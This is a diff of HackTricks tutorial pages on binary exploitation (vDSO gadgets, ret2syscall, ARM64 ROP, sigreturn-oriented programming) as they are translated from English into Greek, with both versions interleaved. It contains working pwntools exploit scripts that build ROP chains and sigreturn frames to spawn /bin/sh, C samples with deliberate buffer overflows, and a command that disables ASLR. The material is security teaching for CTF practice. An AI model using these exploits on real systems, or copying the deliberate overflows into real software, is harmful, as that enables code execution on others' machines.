Αν το δυαδικό αρχείο δεν χρησιμοποιεί Puts θα πρέπει να **ελέγξετε αν χρησιμοποιεί**
|
||||
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Try to **subtract 64 bytes to the address of "/bin/sh"**:
|
||||
Αν βρείτε αυτό το **σφάλμα** μετά τη δημιουργία **όλων** των exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Δοκιμάστε να **αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh"**:
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,10 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
|
||||
|
||||
Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
|
||||
Μπορεί να υπάρχουν **gadgets στην περιοχή vDSO**, η οποία χρησιμοποιείται για να αλλάξει από τη λειτουργία χρήστη στη λειτουργία πυρήνα. Σε αυτούς τους τύπους προκλήσεων, συνήθως παρέχεται μια εικόνα πυρήνα για να γίνει dump της περιοχής vDSO.
|
||||
|
||||
Ακολουθώντας το παράδειγμα από [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) είναι δυνατόν να δούμε πώς ήταν δυνατό να γίνει dump της ενότητας vdso και να μεταφερθεί στον host με:
|
||||
```bash
|
||||
# Find addresses
|
||||
cat /proc/76/maps
|
||||
@ -33,9 +32,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
|
||||
file vdso
|
||||
ROPgadget --binary vdso | grep 'int 0x80'
|
||||
```
|
||||
|
||||
ROP gadgets found:
|
||||
|
||||
ROP gadgets που βρέθηκαν:
|
||||
```python
|
||||
vdso_addr = 0xf7ffc000
|
||||
|
||||
@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
|
||||
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
|
||||
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
|
||||
> Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να **παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso** αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση vdso δεν θα είναι τυχαία: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
|
||||
|
||||
### ARM64
|
||||
|
||||
After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page:
|
||||
Μετά την εξαγωγή και τον έλεγχο της ενότητας vdso ενός δυαδικού αρχείου στο kali 2023.2 arm64, δεν μπόρεσα να βρω εκεί κανένα ενδιαφέρον gadget (κανένας τρόπος να ελέγξω τους καταχωρητές από τις τιμές στη στοίβα ή να ελέγξω το x30 για μια επιστροφή) **εκτός από έναν τρόπο να καλέσω ένα SROP**. Δείτε περισσότερες πληροφορίες στο παράδειγμα από τη σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
srop-sigreturn-oriented-programming/srop-arm64.md
|
||||
|
||||
@ -4,24 +4,23 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
|
||||
Αυτό είναι παρόμοιο με το Ret2lib, ωστόσο, σε αυτή την περίπτωση δεν θα καλούμε μια συνάρτηση από μια βιβλιοθήκη. Σε αυτή την περίπτωση, όλα θα είναι προετοιμασμένα για να καλέσουμε το syscall `sys_execve` με ορισμένα επιχειρήματα για να εκτελέσουμε το `/bin/sh`. Αυτή η τεχνική συνήθως εκτελείται σε δυαδικά αρχεία που έχουν μεταγλωττιστεί στατικά, οπότε μπορεί να υπάρχουν πολλά gadgets και οδηγίες syscall.
|
||||
|
||||
In order to prepare the call for the **syscall** it's needed the following configuration:
|
||||
Για να προετοιμάσουμε την κλήση για το **syscall** χρειάζεται η εξής διαμόρφωση:
|
||||
|
||||
- `rax: 59 Specify sys_execve`
|
||||
- `rdi: ptr to "/bin/sh" specify file to execute`
|
||||
- `rsi: 0 specify no arguments passed`
|
||||
- `rdx: 0 specify no environment variables passed`
|
||||
|
||||
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
|
||||
Έτσι, βασικά χρειάζεται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (έχοντας υπόψη την padding που απαιτείται για τον έλεγχο της στοίβας). Για αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή.
|
||||
|
||||
> [!TIP]
|
||||
> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
|
||||
> Ένα άλλο ενδιαφέρον syscall που μπορεί να καλέσει είναι το **`mprotect`** το οποίο θα επιτρέπει σε έναν επιτιθέμενο να **τροποποιήσει τις άδειες μιας σελίδας στη μνήμη**. Αυτό μπορεί να συνδυαστεί με [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
|
||||
|
||||
## Register gadgets
|
||||
|
||||
Let's start by finding **how to control those registers**:
|
||||
|
||||
Ας ξεκινήσουμε βρίσκοντας **πώς να ελέγξουμε αυτούς τους καταχωρητές**:
|
||||
```bash
|
||||
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||
0x0000000000415664 : pop rax ; ret
|
||||
@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||
0x00000000004101f3 : pop rsi ; ret
|
||||
0x00000000004498b5 : pop rdx ; ret
|
||||
```
|
||||
Με αυτές τις διευθύνσεις είναι δυνατόν να **γράψετε το περιεχόμενο στη στοίβα και να το φορτώσετε στους καταχωρητές**.
|
||||
|
||||
With these addresses it's possible to **write the content in the stack and load it into the registers**.
|
||||
## Γράψτε συμβολοσειρά
|
||||
|
||||
## Write string
|
||||
|
||||
### Writable memory
|
||||
|
||||
First you need to find a writable place in the memory
|
||||
### Γράψιμη μνήμη
|
||||
|
||||
Πρώτα πρέπει να βρείτε ένα γράψιμο μέρος στη μνήμη
|
||||
```bash
|
||||
gef> vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
@ -46,26 +43,20 @@ Start End Offset Perm Path
|
||||
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
||||
```
|
||||
### Γράψτε συμβολοσειρά στη μνήμη
|
||||
|
||||
### Write String in memory
|
||||
|
||||
Then you need to find a way to write arbitrary content in this address
|
||||
|
||||
Στη συνέχεια, πρέπει να βρείτε έναν τρόπο να γράψετε αυθαίρετο περιεχόμενο σε αυτή τη διεύθυνση
|
||||
```python
|
||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
```
|
||||
### Αυτοματοποίηση αλυσίδας ROP
|
||||
|
||||
### Automate ROP chain
|
||||
|
||||
The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
|
||||
|
||||
Η παρακάτω εντολή δημιουργεί μια πλήρη αλυσίδα ROP `sys_execve` δεδομένου ενός στατικού δυαδικού αρχείου όταν υπάρχουν gadgets write-what-where και εντολές syscall:
|
||||
```bash
|
||||
ROPgadget --binary vuln --ropchain
|
||||
```
|
||||
|
||||
#### 32 bits
|
||||
|
||||
#### 32 bit
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
@ -87,9 +78,7 @@ rop += popRax
|
||||
rop += p32(0x6b6000 + 4)
|
||||
rop += writeGadget
|
||||
```
|
||||
|
||||
#### 64 bits
|
||||
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
@ -105,17 +94,15 @@ rop += popRax
|
||||
rop += p64(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## Έλλειψη Gadgets
|
||||
|
||||
## Lacking Gadgets
|
||||
|
||||
If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
|
||||
Αν **λείπουν gadgets**, για παράδειγμα για να γράψετε `/bin/sh` στη μνήμη, μπορείτε να χρησιμοποιήσετε την **τεχνική SROP για να ελέγξετε όλες τις τιμές των καταχωρητών** (συμπεριλαμβανομένων των RIP και των καταχωρητών παραμέτρων) από τη στοίβα:
|
||||
|
||||
{{#ref}}
|
||||
../srop-sigreturn-oriented-programming/
|
||||
{{#endref}}
|
||||
|
||||
## Exploit Example
|
||||
|
||||
## Παράδειγμα Εκμετάλλευσης
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -182,14 +169,13 @@ target.sendline(payload)
|
||||
|
||||
target.interactive()
|
||||
```
|
||||
|
||||
## Other Examples & References
|
||||
## Άλλα Παραδείγματα & Αναφορές
|
||||
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
|
||||
- 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
|
||||
- 64 bits, no PIE, nx, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το `execve` και να μεταβείτε εκεί.
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
|
||||
- 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
|
||||
- 64 bits, nx, no PIE, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το `execve` και να μεταβείτε εκεί. Για να γράψετε στη στοίβα, εκμεταλλεύεστε μια συνάρτηση που εκτελεί μαθηματικές πράξεις.
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
|
||||
- 64 bits, no PIE, nx, BF canary, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το `execve` και να μεταβείτε εκεί.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,80 +2,73 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Find an introduction to arm64 in:
|
||||
Βρείτε μια εισαγωγή στο arm64 στο:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Code
|
||||
## Κώδικας
|
||||
|
||||
We are going to use the example from the page:
|
||||
Θα χρησιμοποιήσουμε το παράδειγμα από τη σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
../../stack-overflow/ret2win/ret2win-arm64.md
|
||||
{{#endref}}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations!\n");
|
||||
printf("Congratulations!\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile without pie and canary:
|
||||
|
||||
Συγκέντρωση χωρίς pie και canary:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector
|
||||
```
|
||||
|
||||
## Gadgets
|
||||
|
||||
In order to prepare the call for the **syscall** it's needed the following configuration:
|
||||
Για να προετοιμάσετε την κλήση για το **syscall**, απαιτείται η εξής διαμόρφωση:
|
||||
|
||||
- `x8: 221 Specify sys_execve`
|
||||
- `x0: ptr to "/bin/sh" specify file to execute`
|
||||
- `x1: 0 specify no arguments passed`
|
||||
- `x2: 0 specify no environment variables passed`
|
||||
|
||||
Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
|
||||
|
||||
Χρησιμοποιώντας το ROPgadget.py, κατάφερα να εντοπίσω τα εξής gadgets στη βιβλιοθήκη libc της μηχανής:
|
||||
```armasm
|
||||
;Load x0, x1 and x3 from stack and x5 and call x5
|
||||
0x0000000000114c30:
|
||||
ldp x3, x0, [sp, #8] ;
|
||||
ldp x1, x4, [sp, #0x18] ;
|
||||
ldr x5, [sp, #0x58] ;
|
||||
ldr x2, [sp, #0xe0] ;
|
||||
blr x5
|
||||
ldp x3, x0, [sp, #8] ;
|
||||
ldp x1, x4, [sp, #0x18] ;
|
||||
ldr x5, [sp, #0x58] ;
|
||||
ldr x2, [sp, #0xe0] ;
|
||||
blr x5
|
||||
|
||||
;Move execve syscall (0xdd) to x8 and call it
|
||||
0x00000000000bb97c :
|
||||
nop ;
|
||||
nop ;
|
||||
mov x8, #0xdd ;
|
||||
svc #0
|
||||
nop ;
|
||||
nop ;
|
||||
mov x8, #0xdd ;
|
||||
svc #0
|
||||
```
|
||||
|
||||
With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
|
||||
Με τα προηγούμενα gadgets μπορούμε να ελέγξουμε όλους τους απαραίτητους καταχωρητές από τη στοίβα και να χρησιμοποιήσουμε το x5 για να μεταβούμε στο δεύτερο gadget για να καλέσουμε το syscall.
|
||||
|
||||
> [!TIP]
|
||||
> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.
|
||||
|
||||
### Exploit
|
||||
> Σημειώστε ότι η γνώση αυτής της πληροφορίας από τη βιβλιοθήκη libc επιτρέπει επίσης την εκτέλεση μιας επίθεσης ret2libc, αλλά ας το χρησιμοποιήσουμε για αυτό το τρέχον παράδειγμα.
|
||||
|
||||
### Εκμετάλλευση
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -124,5 +117,4 @@ p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,23 +4,22 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals.
|
||||
**`Sigreturn`** είναι μια ειδική **syscall** που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα.
|
||||
|
||||
After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
|
||||
Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** του σαν να μην έχει συμβεί τίποτα. Εδώ έρχεται η **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το stack frame (την ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.
|
||||
|
||||
The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
|
||||
Το ενδιαφέρον είναι πώς η **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στο stack.** Όταν το σήμα δεν είναι πλέον μπλοκαρισμένο, **`sigreturn` απομακρύνει αυτές τις τιμές από το stack**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση τους πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη στο stack (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή του stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`.
|
||||
> Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στο **stack** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές των καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`.
|
||||
|
||||
Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls:
|
||||
Σημειώστε πώς αυτό θα ήταν μια **τύπου Ret2syscall** που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls:
|
||||
|
||||
{{#ref}}
|
||||
../rop-syscall-execv/
|
||||
{{#endref}}
|
||||
|
||||
If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
|
||||
|
||||
Αν σας ενδιαφέρει, αυτή είναι η **δομή sigcontext** που αποθηκεύεται στο stack για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
|
||||
```
|
||||
+--------------------+--------------------+
|
||||
| rt_sigeturn() | uc_flags |
|
||||
@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
|
||||
| __reserved | sigmask |
|
||||
+--------------------+--------------------+
|
||||
```
|
||||
|
||||
For a better explanation check also:
|
||||
Για μια καλύτερη εξήγηση, ελέγξτε επίσης:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
## Example
|
||||
|
||||
You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
|
||||
## Παράδειγμα
|
||||
|
||||
Μπορείτε να [**βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) όπου η κλήση στο signeturn κατασκευάζεται μέσω ROP (βάζοντας στο rxa την τιμή `0xf`), αν και αυτή είναι η τελική εκμετάλλευση από εκεί:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -91,9 +88,7 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
|
||||
|
||||
Ελέγξτε επίσης το [**exploit από εδώ**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) όπου το δυαδικό αρχείο καλούσε ήδη το `sigreturn` και επομένως δεν είναι απαραίτητο να το κατασκευάσουμε με ένα **ROP**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload
|
||||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
```
|
||||
|
||||
## Other Examples & References
|
||||
## Άλλα Παραδείγματα & Αναφορές
|
||||
|
||||
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
|
||||
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary.
|
||||
- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** και να διαβαστεί η σημαία που βρίσκεται μέσα στη μνήμη του binary.
|
||||
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
|
||||
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`).
|
||||
- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** (το binary έχει τη συμβολοσειρά `/bin/sh`).
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell.
|
||||
- 64 bits, no relro, no canary, nx, no pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία `gets` με έλλειψη gadgets που εκτελεί ένα [**ret2syscall**](../rop-syscall-execv/). Η αλυσίδα ROP γράφει `/bin/sh` στο `.bss` καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργία **`alarm`** για να ορίσει το eax σε `0xf` για να καλέσει ένα **SROP** και να εκτελέσει ένα shell.
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
|
||||
- 64 bits assembly πρόγραμμα, no relro, no canary, nx, no pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελεγχθούν αρκετοί καταχωρητές και να κληθεί ένα syscall και στη συνέχεια καλεί `exit`. Το επιλεγμένο syscall είναι ένα `sigreturn` που θα ορίσει τους καταχωρητές και θα μετακινήσει το `eip` για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει το `memprotect` για να ορίσει τον χώρο του binary σε `rwx` και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode να το γράψει ως την επόμενη εντολή και να το εκτελέσει.
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
- SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
|
||||
- Το SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,10 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pwntools example
|
||||
|
||||
This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
|
||||
## Pwntools παράδειγμα
|
||||
|
||||
Αυτό το παράδειγμα δημιουργεί το ευάλωτο δυαδικό αρχείο και το εκμεταλλεύεται. Το δυαδικό αρχείο **διαβάζει στη στοίβα** και στη συνέχεια καλεί **`sigreturn`**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -33,55 +32,49 @@ p = process(binary.path)
|
||||
p.send(bytes(frame))
|
||||
p.interactive()
|
||||
```
|
||||
## παράδειγμα bof
|
||||
|
||||
## bof example
|
||||
|
||||
### Code
|
||||
|
||||
### Κώδικας
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void do_stuff(int do_arg){
|
||||
if (do_arg == 1)
|
||||
__asm__("mov x8, 0x8b; svc 0;");
|
||||
return;
|
||||
if (do_arg == 1)
|
||||
__asm__("mov x8, 0x8b; svc 0;");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
|
||||
|
||||
return buffer;
|
||||
return buffer;
|
||||
}
|
||||
|
||||
char* gen_stack() {
|
||||
char use_stack[0x2000];
|
||||
strcpy(use_stack, "Hello, world!");
|
||||
char* b = vulnerable_function();
|
||||
return use_stack;
|
||||
char use_stack[0x2000];
|
||||
strcpy(use_stack, "Hello, world!");
|
||||
char* b = vulnerable_function();
|
||||
return use_stack;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = gen_stack();
|
||||
do_stuff(2);
|
||||
return 0;
|
||||
char* b = gen_stack();
|
||||
do_stuff(2);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile it with:
|
||||
|
||||
Συγκεντρώστε το με:
|
||||
```bash
|
||||
clang -o srop srop.c -fno-stack-protector
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
|
||||
```
|
||||
## Εκμετάλλευση
|
||||
|
||||
## Exploit
|
||||
|
||||
The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`.
|
||||
|
||||
Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του **`sigreturn`** και να προετοιμάσει τη στοίβα για να καλέσει το **`execve`** με έναν δείκτη προς το `/bin/sh`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -110,44 +103,40 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## bof παράδειγμα χωρίς sigreturn
|
||||
|
||||
## bof example without sigreturn
|
||||
|
||||
### Code
|
||||
|
||||
### Κώδικας
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
